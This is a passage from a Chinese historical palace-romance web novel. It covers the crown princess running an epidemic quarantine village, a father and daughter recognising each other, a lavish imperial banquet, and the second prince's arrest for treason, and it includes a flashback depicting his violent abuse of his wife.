白雪看了眼李妍,顿时注意到李妍缩在衣袖中的手微微颤抖,往后退了半步,躲到栖霞身后,这……白雪看向李泰,这才注意到两人长得有些像,掩住内心的好奇:“是我治的,难道李太医有更好的方子治疗?”
李泰摆手:“没有,就是有些好奇这女子身上的伤是怎么来的,怎么会这么严重。”一看就是被虐待后留下的痕迹,内心深处有一丝的愧疚,李泰不清楚自己为何会有这样的感受,满是疑惑的看了看李妍。
白雪开口对李妍说道:“要不,你先回去休息休息?”
李妍满眼感激的看向白雪:“好,多谢太子妃。”转身就走了,那背影看着有几分落荒而逃的模样。
李泰疑惑的开口问道:“这孩子有些眼熟,总感觉在哪里见过。”
白雪知道两人可能认识,李妍有极大的可能是李泰的女儿,但还是得回去问问李妍是什么态度再说,笑道:“李太医您见多识广,认识的人太多了,才会有这样的感觉。”
李泰疑惑的呢喃自语:“是吗?”
乡亲们跑了过来,见李泰挡在面前:“李太医,麻烦让让。”
李泰回头看了眼排好队的乡亲们,又看了眼面前的桶,深知是自己挡了路:“哦,哦,好。”往旁边走了几步,脑海里全是李妍的身影与白雪的话。
“太子妃这肉做得可太香了。”
“就是,闻着我都流口水了。”
今日的肉菜乃是祁越打的野兔子,那野兔子又肥又大,真不知道是怎么长那么肥大的,瞧着得有80、90厘米长,砍成一小坨一小坨的,加了一些土豆、莴笋、胡萝卜在里面。
与此同时,京城。
裴宴景走进二皇子府邸,院子里摆了六席,桌面是黄花梨的木头,每张配六把太师椅,来的都是非富即贵,座位自然安排的就松快一些,不像乡下人吃席那般,一桌十个人挤得胳膊碰胳膊。
中间摆着一个珐琅盘,九宫格的样式,每一格摆放的都不一样,有蜜饯、糖腌玫瑰、椒盐腰果、松仁瓤、核桃仁、瓜子、桂圆、红枣、花生。
裴宴景跟着小厮走到自己的位置上坐下,不参与任何人的社交,有人见到裴宴景的出现,立马走过来与他交谈,但大多也都是问问身体如何、听说太子妃去了云尼村之类的话语,不敢多说一些其他的,只因为这席是裴筠与白雅琴的喜宴。
有一年轻的男子,见到被围到中间的裴宴景,好奇的问身边人:“这人谁啊?”
那人上下看了眼他,语气惊讶道:“他,你都不认识?”
年轻男子被说的有些尴尬,不知该说些什么,身旁一年老的:“太子几年没出现,他不认识也没什么好奇怪的。”
年轻男子瞬间明白,原来他是太子。
唯有纪云峰与裴宴景没有寒暄,两人看着像是点头之交一般,很快便开席了。
这第一道进门汤乃是燕窝,不是寻常的碎燕,而是整盏的官燕,用鸡汤煨着,上面还飘着几根火腿丝,裴宴景拿起一旁的瓷勺舀了一口,细细品尝,味道还可以,如果白雪在就好了,她肯定喜欢喝。
接着上了四道热菜,分别是蟹黄扒鱼翅、红烧鲍鱼、葱烧海参、蝴蝶虾,每一道菜都是一人份的,瞧着精致小巧,但这些菜对于裴宴景来说瞧着有些腻得慌,他就想吃点清淡的时蔬,这些肉腥子他都吃腻了,但还是每一样都尝了一筷子。
接着上了一道硬菜——烤乳猪,每一桌都配备了一名厨师,专门站在一旁替众人片,不仅刀法极快,就那片下来的肉都赏心悦目,皮肉分离,码在白色的瓷盘里,每人面前都放着几碟子,上面分别放着甜酱、薄饼、葱丝、黄瓜条,裴宴景给自己卷了一块尝尝,一口咬下去,皮脆得咔的一声响。
裴宴景才刚刚吃完,又来了一道菜——八宝鸭,八宝鸭可不简单,先要将鸭子破开,掏出里面的内脏,清洗干净,在将鸭肚子里塞着糯米、火腿、香菇、莲子、笋丁、干贝、虾米、猪肚,塞完后用线缝住口子,用文火焖了整整三天,那肉软烂无比,裴宴景用筷子轻轻地一夹,那肚子里的油水滋滋地往外流,香气扑鼻。
这上半席随着一道清汤官燕落幕,每人一小碗,清汤见底,燕窝像白色的丝线漂浮在水面,裴宴景耳边传来一道年轻的声音:“怎么这么淡?”裴宴景嘴角上扬,喝了一口,吐到旁边的空碗里。
耳边传来一道年老的声音:“这是用来漱口的,可不是让你真喝的。”
后半席更丰盛,首先上的是一道蒸鲥鱼,搭配火腿片、米酒同蒸,既保留了鲥鱼的鲜嫩,又多了几分火腿的咸香与米酒的清甜。
接着上了一道烧鹿筋,鹿筋和老母鸡一起煨着,软糯得跟年糕似的。
最后是一道炒时蔬,蔬菜炒的是凤尾,用猪油爆炒,加
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了点辣子,这道菜也是裴宴景吃得最多的。
天色渐渐暗淡。
“太子妃,您也吃点吧。”
“对,太子妃您也吃点。”
白雪看着各位乡亲:“这是给你们准备的,你们吃便是,但别忘了,吃饱后去找陈玉明,让他带你们去隔离区。”
“谁是陈玉明啊?”
拿饭勺的陈玉明内心有些悲凉,自己每天叫他们喝药,竟连他叫什么都不知道,但接触到白雪的目光后,眼神渐渐坚定,举起手道:“是我。”
“哦,是你啊。”
“你是之前叫我们喝药的小伙子。”
“谢谢太子妃。”此起彼伏的响起。
白雪内心得到极大的满足感,这就是她真正想要拥有的东西。
真心实意地感谢,不参杂任何形式的虚假,无关乎身份,只是因为她是她。
回到屋里,白雪看着坐在凳子上发呆的李妍,走过去:“早点休息。”
李妍呆呆地看向白雪:“您不问我?”
白雪摇摇头:“每个人都有秘密,我没有深扒别人秘密的习惯,当你想说时,我随时倾听。”
李妍感动不已,眼泪不争气地流了下来,她也不知道为何会在这里看见父亲,父亲老了许多,头发花白,皱纹多了好几条,她明明记得之前父亲那么年轻,怎么感觉像一夜之间老了好几十岁一般:“他是我父亲。”
虽然李妍没有说他是谁,但白雪知道李妍说的是李泰,白雪轻轻抱住李妍:“想哭便哭,没关系的。”
话音刚落,李妍瞬间嚎啕大哭,所有的委屈、不甘、怨恨化为泪水流了出来。
时间过得很快,一眨眼十天半个月过去。
这日清晨,白雪刚刚醒来,便听见陈玉明在外面叫她:“太子妃,太子妃。”那声音听起来有些高兴。
白雪不明所以走出房间,便看见栖霞已经打开门对陈玉明说道:“什么事这么急,太子妃还在休息。”
白雪走向门口:“栖霞。”
栖霞回头行礼道:“太子妃。”
白雪看着面前高兴的陈玉明:“有患者治愈了?”
陈玉明有些惊讶,他还没说呢,太子妃就知道了,不愧是太子妃,料事如神:“您怎么知道?”
白雪:“你的眼神都告诉我了。”
栖霞兴奋的道:“真的?”
陈玉明重重的点了点头。
暗处的祁越,嘴角上扬,他终于明白为何太子这么重视太子妃了,因为她值得。
李妍走出屋子,听见栖霞的话,好奇的问道:“什么真的?”
栖霞兴奋地说道:“有患者的病好了!”
李妍脚步瞬间加快了,走到两人面前,对白雪说道:“我就知道您出手,肯定会治好他们的病,只是时间早晚的问题。”李妍只是没想到居然这么快,她都还没做好与父亲团聚的准备。
白雪:“这才刚开始,后面他们都会慢慢好起来的。”
37.野兔
没有谁认为白雪说的话不对,都很期待看着所有人病好。
白雪:“走吧,去看看他们。”
白雪还没走近,便听见里面传来的欢声笑语,不同于之前的死气沉沉,才刚刚出现在门口,便被一个离门口比较近的患者瞧见,立马大声喊道:“太子妃来了。”
刚才还吵闹的环境瞬间安静下来,都朝门口看来,有的在房子里也纷纷走出来,下一秒爆发出与之前更热烈的气氛,争先恐后地说,深怕白雪听不见他们的声音。
“太子妃,我们什么时候能好啊。”
“太子妃,我听说今日隔壁有人好了。”
“太子妃,我感觉我也好多了,都没怎么咳嗽了。”
“太子妃,今日有肉吗?好久没吃肉了。”
这句话就像是一个暂停键,所有人都被按了暂停一般,霎时间所有人都用期待的眼神看向白雪。
白雪笑着回答:“当然。”心里却在思考让祁越现在去打猎,能不能赶得急。
随着白雪的话音落下,所有人便开始欢呼雀跃,惹得隔壁两房的人心里痒痒,不知为何这房里的人突然这么兴奋。
直到有人来通知说中午吃肉,才明白过来为何他们这么兴奋,搁他们更兴奋。
白雪见他们如此兴奋也不再紧留,赶紧走出来小声说出:“祁越。”
祁越立马从暗处走出来:“太子妃属下之前听见了,立马去山上打猎。”
“辛苦你了。”随着白雪的话音落下,祁越说了句:“不辛苦。”便朝山里走去。
白雪这才走去熬药的房间,见几名家属在帮着熬药,那些家属看见白雪来纷纷喊道:“太子妃。”
白雪笑着回答:“今日中午有肉吃。”
家属开心到站起身:“真的?”
陈玉明刚端着配好的药走进来,听到这句话:“太子妃您来了。”
白雪点点头:“药怎么样了?”
陈玉明将药放下:“新的药,师傅已经配好了。”见白雪要走,像是突然想起什么,继续说道:“对了太子妃,师傅正在找您。”
白雪回头说道:“他在哪?”
陈玉明:“正在屋里看书。”
白雪望李泰住的地方走,路上栖霞问道:“太子妃李太医是不是知道李妍是他女儿了?”
白雪有些惊讶栖霞为何这样说,还是说她发现了什么:“怎么这样说?”
栖霞:“奴婢经常发现李太医总是盯着李妍看,那眼神里充满着奴婢也说不清的情绪。”
这些白雪倒是没发现,她更多的是专注于整件事情后,便完全不会管旁边的任何人:“我知道了。”
白雪走进院子里见李泰正坐在院里看书:“听说您找我。”
李泰抬头看见白雪,朝她身后看去,没见到李妍,眼神中闪过一丝的失落,笑着站起身道:“太子妃您来了。”
白雪走过去坐下,李泰才跟着坐下来:“李太医找我何事?”
李泰想起昨晚白雪新开的药方:“今早有位患者治愈,我的意思是要不要继续用之前的药,不再换药?”
白雪新开的方子都是根据现在这些患者的身体状况来调整的,至于那位治愈的患者,或许之前的药起了作用,但现在还没治愈的患者都需要新的药物治疗:“换是必须换的,那药是我根据现有的患者身体情况来调整的,听说您找我,我立即就过来了,至于那位治愈的患者,我听说了,但还没见到人。”
李泰有些想问李妍的信息又不敢,他怕得到肯定的答案,又怕得到否定的答案。
白雪见李泰如此纠结,猜测李泰可能是想问李妍,李泰之前眼神里流露出的失落,虽然及时被李泰的笑意掩盖,但还是被白雪看见:“您想说什么便说就是。”
听到这话李泰决定不再逃避,开口问道:“太子妃带来的另一位女子是不是叫李妍?”
李泰见白雪点头,眼神瞬间湿润,她真的是自己的女儿,李泰想问李妍身上的伤是怎么回事,又想问她为什么会失踪,更想问究竟是谁让她变成这样的,但一切的一切都化为一声叹息。
都怪他,是他没有照顾好自己的女儿,才让她被人害成这样,如果自己早一些发现,早一点找到女儿会不会她就不会经历这些苦难。
李泰想了很多,唯独没想为什么李妍没有回家。
白雪:“她生病了。”
李太激动道:“什么病?”
白雪:“是心理生病了,这种病我治不好,或许您可以。”
李泰疑惑不解:“为什么治不好,需要怎么治,您告诉我。”
白雪:“爱,她需要爱。”
李泰流出一滴泪,快速地低头:“今日风太大了。”
白雪看破不说破:“是有些大。”
而此时害李妍成这样的白雅琴才刚刚起床。
嫁给裴筠后,白雅琴的日子非常不好过,她没想到裴筠竟如此变态。
伺候白雅琴的贴身丫鬟叫思雅,她是白雅琴从侯府带过来的,思雅一眼就看见白雅琴脖子上的掐痕,从柜子里取出高领的服饰:“夫人,今日穿这件。”
白雅琴看了眼思雅手里的衣服,摸向自己的脖子:“很严重吗?”
思雅点点头道:“是的,夫人。”
白雅琴回想起昨夜,打了个冷颤。
当时白雅琴正在房间里吃糕点,看见裴筠回房,只一眼白雅琴便知道裴筠心情不好,走了过去讨好道:“夫君。”
裴筠表情阴冷声音不大:“出去。”
一时间房间里所有的丫鬟纷纷低头往外走,唯有思雅担心的看了眼白雅琴,见白雅琴点头,才走出屋子。
听见关上门后,裴筠立马拉着白雅琴的手往床的方向走,一把把白雅琴甩到床上,见白雅琴挣扎的想起来,一把捏住白雅琴的脖子,在她耳边说道:“你不会以为你舅舅回来了,就有人给你撑腰了?”
白雅琴被他捏得呼吸不过来,涨红了脸,从喉咙
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里艰难的挤出三个字:“我…没…有。”
裴筠这才放过白雅琴,直接撕开她下面的衣服,直冲冲的怼进去,痛到白雅琴不自觉地尖叫,这声尖叫仿佛是裴筠的兴奋剂一般。
裴筠更加的用力,嘴里还不停地说道:“这不就是你想要的吗?”
“怎么,不爽吗?”
“啊?”
白雅琴只觉得裴筠是个恶魔,如果早知道他是这样的人,白雅琴这辈子都不可能嫁给他,只能哄着说道:“我舅舅…”
白雅琴才刚说出这三个字,裴筠一巴掌便扇到了白雅琴脸上:“贱人,你们都是这样,一个个的都看不起我,都想要追随裴宴景,一个个的,都是这样见人下菜碟,等我做了皇帝第一件事就是把你们这些贱东西杀光。”
白雅琴内心惊讶不已,她没想到裴筠居然这么想做皇帝,但当皇帝岂是那么容易的,她不再开口说话,而是被动的默默承受。
白雅琴坐在铜镜前,丫鬟们正在替她梳妆,她控制不住的想要看看有多严重,拉开衣领赫然出现一个红红的手印在她脖子两边,身后的丫鬟们已经见怪不怪,都当作没有看见。
白雪回到院子里,见李妍正在院子里做针绣活,手里拿的正是白雪前几日上山采药划破的衣服:“李妍。”
李妍抬头看向白雪,眼里满是不解。
白雪轻声说道:“谢谢你。”
李妍还以为白雪想要说什么,原来是说这个,她喜欢被人需要,嘴角上扬:“不用谢。”突然想起今日好像是白雪的生日,将东西放到一旁的桌子上,匆匆跑进屋里,拿出之前绣好的荷包递给白雪:“送给你。”
白雪看着李妍手上的荷包,上面绣着柿子,寓意着柿柿如意,之前一直在想那荷包李妍是给谁绣的,白雪万万没想到居然是给自己绣的,伸手接过荷包:“谢谢。”
李妍羞涩地说道:“您喜欢就好,我之前听白…她说您的生辰是今日,所以我便想着送您一个礼物,但我没钱,只能自己绣一个荷包送给您,祝您事事如意。”
白雪没有想为何白雅琴会知道自己的生日,她不好奇白雅琴为什么知道,也不好奇白雅琴为什么告诉李妍,她只感动于自己的生日李妍居然会记得,还提前为她准备礼物,白雪接收到了李妍的这份心意:“谢谢,我很喜欢。”
李妍没有被人这样珍重的道谢过,一时有些不知道做什么,索性拿起桌上的衣物,低头继续绣了起来。
祁越提着两只野兔的耳朵走进院子,看见白雪的背影,出声喊道:“太子妃。”
白雪回头,视线都被祁越手里的野兔所吸引,这两只野兔也太肥了,就是没那么长,瞧着也就六十厘米、七十厘米的样子:“回来了。”
栖霞眼神放光的走过去,看着野兔兴奋地说道:“这两只兔子好肥啊!”
祁越笑着说道:“今日运气好,属下刚进山就发现一个兔子窝。”
话音刚落,栖霞立马说道:“天呐,你运气真好。”
38.变天
白雪:“拿去煮吧,这么肥的兔子,应该够他们吃的。”
祁越:“太子妃这兔子你想吃什么口味的?”
白雪没想过吃什么口味,主要是先保证百姓能够吃饱,她吃不吃倒是无所谓,不过按照现有的食材来说应该没什么口味供选择:“食材够吗?”
糟糕!竟忘了这茬。
祁越回道:“属下去问问。”
白雪看着祁越离开的背影,想起之前与李泰说的话,摩挲着手里的荷包,思考着要不要告诉李妍。
白雪走到李妍身边坐下,轻声开口:“李妍。”
李妍迷茫的看向白雪:“怎么了?”
白雪斟酌应该怎么说才能让她能够更好地接受,想了想决定还是直接开口:“李泰知道了。”
李妍有些没懂这句没头没尾的话是什么意思,“什么?”突然想到可能是说知道她是李泰的女儿了,猛地站起身,声音大了几分:“什么?”来回踱步,嘴里不停地说道:“怎么办…怎么办…”
白雪见她如此:“你先别激动。”
李妍怎么可能不激动,她根本不知道该如何面对爹爹,她没脸面对娘亲和爹爹,一想到她们两人因为她的失踪而担心,心就像碎了一般的疼痛。
白雪见她不听,情绪越陷越深,走过去扳住李妍的肩膀,逼迫她停下来,看着她的眼睛:“李妍,你听我说。”
李妍呆呆地看着白雪,什么话也没说,但一看便知还是沉浸在自己的世界里。
“李太医并没有因为你不认他而伤心,相反他很开心你还活着,只要人活着一切都有希望,李妍你知道吗?”白雪思绪渐渐飘远,这些话她从来没对别人说过:“我娘亲死的时候,我也想跟着去了,但后来我想通了,凭什么要因为别人的过错来折磨自己,只要你自己心里清楚,你没错,错的是他们。”
李妍回过神来,呆呆地问了一句:“真的吗?”
白雪重重的点头。
栖霞也上前一步说道:“是啊,听太子妃的准没错。”
李妍渐渐想明白,对啊,她凭什么要这样,明明错的是她们,自己没有任何错,唯一的错误便是认错了朋友:“谢谢你们!”
白雪松了口气,她真的有些担心李妍犯病:“想明白便好。”
白雪抬头看了一眼乌云密布的天色:“要变天了。”
现在是时候该做个了结了,裴宴景拿着早已找到的证据,往御书房的方向走去。
苏福瑞早就看到了裴宴景的身影,还没走近便上前说道:“太子,今日圣上心情不太好,您要不要换个时间再来?”
裴宴景当然知道父亲为何心情不好,轻声道:“没事,你去通报便是。”
苏福瑞见他如此,只好说道:“那行,太子稍等片刻。”说完,走进书房通报。
裴宴景没等多久便看见苏福瑞走出来。
苏福瑞:“太子,圣上让您进去。”
裴宴景昂首挺胸地走了进去,站定跪下行礼道:“儿臣见过父皇,父皇万岁万岁万万岁。”
裴松视线从奏折上面移到裴宴景身上,不怒自威的说:“找朕何事?”
裴宴景从怀里掏出证据,双手奉上:“儿臣查到了三年前皇弟让儿臣中毒的证据。”
“是吗?”简单的两个字,让人分辨不出裴松的情绪。
裴宴景不卑不亢地说道:“是的,父皇。”
裴松朝殿外喊了一声:“苏福瑞。”
苏福瑞立马走了进来:“皇上。”
裴松:“去,把太子手上的东西拿上来。”
“是。”苏福瑞走上前拿走裴宴景手上的东西,放到书桌上,一眼就瞟到了奏折上面几个字,又是弹劾太子的奏折,不知这是第几封了,连纪云峰都开始弹劾他了,苏福瑞站到一旁低着头。
裴松打开只见上面记录了裴筠通敌卖国的证据,心里涌起一股怒气,声音带着几分冷意:“把裴筠关进宗人府,由你亲自动手。”
裴宴景行了个礼:“是,父皇。”说完走出御书房。
裴松看着裴宴景离去的背影,语气冷淡的吐出:“朕生了两个好儿子啊!”
这句话苏福瑞可不敢随意开口回答,低着头如鹌鹑一般。
裴宴景立马带队前往裴筠的住处,引得围观的路人纷纷指着府邸讨论。
裴筠走到院子里与裴宴景面对面站立:“我的好哥哥,今日怎么有空来我府邸?”
裴宴景看着他,看不出是什么表情,语气平淡道:“父皇命我把你关进宗人府。”说完,声音大了几分:“拿下!”
裴宴景身后的人立马上前就要抓住裴筠。
裴筠瞬间慌了神,但还是厉喝道:“我看谁敢?”
裴宴景上前一步在裴筠耳边,轻轻说出:“你通敌卖国的证据,此时就躺在父皇的书桌上。”
这则消息如炸弹一般,在裴筠心里炸开。
裴宴景说完不再管他,抬手:“拿下!”
“我自己走。”裴筠抬头挺胸的跟着裴宴景往外走。
白雅琴见此情景,慌了神却不敢上前,只得站在原地,看着裴宴景眼里多了几分柔情。
旁人只以为白雅琴是看着裴筠,唯有思雅明白她看的是裴宴景,没有开口说话,只因周围全是二皇子的人。
白雅琴思考着该怎么办,若裴筠被定罪,自己是不是也会死,虽然裴筠是个魔鬼,但她不能死,想到这里,白雅琴决定先回家与娘亲商议此事再做决定。
白雅琴急匆匆地赶回侯府,张嬷嬷看见白雅琴眼里满是惊讶,大小姐怎么今日回来了,赶紧进房间里,见纪璇躺在美人榻上闭目养神,走过去:“夫人,大小姐回来了。”
话音刚落,纪璇便睁开双眼,随之而来的是白雅琴跑进房间里,慌慌张张的样子落入纪璇的眼中,眼里满是不耐,厉声喝道:“慌慌张张的成什么样子?”
若是平时白雅琴可能就会恢复淑女的步伐,可今时不同往日,本想立马说出口,看见一旁的丫鬟却立马闭上嘴。
纪璇见她如此,对张嬷嬷使了个眼神。
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张嬷嬷立马心领神会的领着丫鬟们退出门外,自己却守在门口。
纪璇这才坐起身,不紧不慢地说道:“说吧,出什么事了?”
白雅琴这才开口:“二皇子被关进宗人府了。”
纪璇平静的表情裂开,不敢置信的开口:“什么?”
白雅琴又说了一遍:“太子带队把二皇子关进了宗人府。”
纪璇脑海里一时间涌出许多的想法,但她最后悔的是当时让白雪替白雅琴嫁给了太子,若早知太子会好,她又怎么会让白雪替嫁,但现在最重要的不是想这些,而是该怎么办?
纪璇想到了哥哥,若哥哥肯帮二皇子的话:“随我去找纪将军。”
纪晓云听说此事,茶杯被他捏碎了,碎片扎进他的手里,他却没有什么表情:“你想让我怎么做?”
纪璇被哥哥这句话噎住,她也不知道应该怎么做,但现在只想把二皇子救出来:“哥哥你能不能把他救出来?”
纪晓云听到此话,冷笑道:“你知道他干了什么吗?”
纪璇内心咯噔一声,肯定是大罪,不然哥哥不会这样,但究竟干了什么,纪璇却不得而知,只能摇摇头。
纪晓云这才吐出四个字:“通敌卖国。”
白雅琴听到这四个字,一时间腿软跌坐在地,她怎么也想不到裴筠的胆子居然这么大,竟然敢通敌卖国,这消息肯定是真的,若这是真的,自己是不是要死了,她还不想死。
纪璇的身子晃了晃,她真的想不通裴筠究竟有什么理由要这么干,自己的母亲都是皇后了,他还不甘心?
纪晓云失望的说道:“你走吧,我今日就当你没来过。”
纪璇这才回过神来,急切地抓住纪晓云的手:“哥求你,只有你能帮雅琴了。”
纪晓云此时手上的痛都不及他心痛:“你知道你在说什么吗?”
纪璇不敢再开口。
不知过了多久,纪晓云深深地叹了口气,谁叫他的亲人只有这一个妹妹了呢?
罢了,罢了。
纪晓云看向白雅琴:“雅琴,我需要你去宗人府问二皇子一个问题。”
白雅琴这才回过神来,抬头望着舅舅,眼神里满是迷茫。
纪晓云轻轻开口,说出的话却能够被诛九族:“问他想不想当皇帝。”
白雅琴一个人提着食盒,想要进宗人府被官差拦住,她从袖中摸出两锭金元宝,讨好地说道:“我就是想去给二皇子送点吃的,我担心他会饿到。”
官差对视一眼,而后纷纷接过金元宝,放进袖中:“进去吧,动作快点。”
“谢谢两位官差大哥。”说完,白雅琴这才走进去,里面的环境阴冷潮湿,白雅琴越走心底越沉,想活下去的欲望就越强。
白雅琴走进房间,只见裴筠躺在床上,背对着门,听见声音也没动,把食盒放到桌上:“过来吃饭吧。”
裴筠以为是幻听,转身却看见白雅琴坐在凳子上,这才走过去坐下。
白雅琴把食盒打开,一层一层的放到裴筠面前。